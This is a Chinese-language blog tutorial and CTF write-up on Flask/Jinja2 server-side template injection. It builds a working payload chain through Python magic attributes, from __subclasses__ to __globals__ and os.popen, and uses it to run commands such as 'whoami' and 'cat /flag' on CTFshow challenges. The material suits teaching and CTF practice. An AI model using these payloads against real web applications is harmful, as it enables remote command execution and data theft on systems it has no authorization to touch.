又是逃课的一天,(挂着网课来写博客)
内存马的概念经常被提到,HW面试,还是校招都有问到,之前接触不是很多,总结一波。
目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法
在SSTI中我们要做的就两个:
所以我们要做的实际上就是实现这两种效果
这里我写一个payload 可见只穿payload执行了whoami命令,那么我们要来分析一下这串payload为什么可以成功执行命令。
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'
__dict__
:保存类实例或对象实例的属性变量键值对字典__class__
:返回调用的参数类型__mro__
:返回一个包含对象所继承的所有类,方法在解析时按照元组的顺序解析。__bases__
:以元组的形式返回一个类所直接继承的类。根类__base__
:以字符串形式返回一个类所直接继承的类。根类__subclasses__
:返回 type
对象方法__init__
:类的初始化方法 (构造方法)__globals__
:函数会以字典类型返回当前位置的全部全局变量Python万物皆对象,而class用户返回该对象所属的类,比如字符串的对象为字符串对象,所属的类为<class 'str'>
先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。
而<class 'str'>
类又属于 <class 'type'>
接下来我们可以通过bases或者mro来获取到object基类。
<class 'object'>
相当于整个树的跟
然后可以从这个根对象下去寻找其他子类
接下来我们看一下 base后的子类都有什么。
print(''.__class__.__base__.__subclasses__())
有点多我们统计一下长度
>>> c = ''.__class__.__base__.__subclasses__()
>>> len(c)
174
在我的环境中子类有174个,整理格式查看下子类详情如下
>>> for i in range(174):
... print(i, c[i].__name__)
...
遍历查找带有warning的子类
>>> for i in range(174):
... n = c[i].__name__
... if n.find('warning') > -1:
... print(i,n)
...
134 catch_warnings
>>> print(''.__class__.__base__.__subclasses__()[134])
<class 'warnings.catch_warnings'>
至于为什么找 warnings咱们后面说
在Python中 有了__init__
方法,在调用类的时候,会首先调用__init__
方法。
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__
加上__globals__
返回当前位置所有全局变量
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__
把全局变量粘贴到文本文档里方便查看 发现了全局变量sys
到这里我们就属于一步步找到了sys模块
sys.modules
用于返回当前已导入(加载)的所有模块名和模块对象
·sys.modules
具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块
程序在导入某个模块时,会首先查找sys.modules
中是否包含此模块名,包含的话python会直接到字典中查找,从而加快了程序运行的速度,若不存在则找到后将模块加载到内存`
modules['os']
将os加载到当前内存
>>> import sys
>>> print(sys.modules)
>>> import sys
>>> test = sys.modules["os"]
>>> test.popen("whoami")
<os._wrap_close object at 0x1036473c8>
>>> test.popen("whoami").read()
'sch0lar\n'
>>>
大致利用链是这样的,但是很多时候并不固定,不一定要找warnings.catch_warnings
子类,只要子类里导入了sys os等可执行命令的模块都可以,思路都差不多
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'
演示几道CTFshow上面SSTI的题目
http://fe492b04-95e1-4b73-844c-9a3e627842fc.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()[1].__init__.__globals__}}
初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用__init__.__globals__
来看看有没有os module或者其他的可以读写文件的。我们抓包遍历这个1-400查找有无可进行命令执行的子类。
位置在132的子类已经导入了os模块,既然导入了os模块,我们也就可以执行命令了
查看一下子类详情
name={{%27%27.__class__.__base__.__subclasses__()[132]}}
发现它属于os模块,既然他是os模块里面的类那我们就不用那么麻烦了。
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
我们本地打开os模块看一看
可见也 import 了sys模块,我们也可以用如下payload
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}
不过显然没这个必要。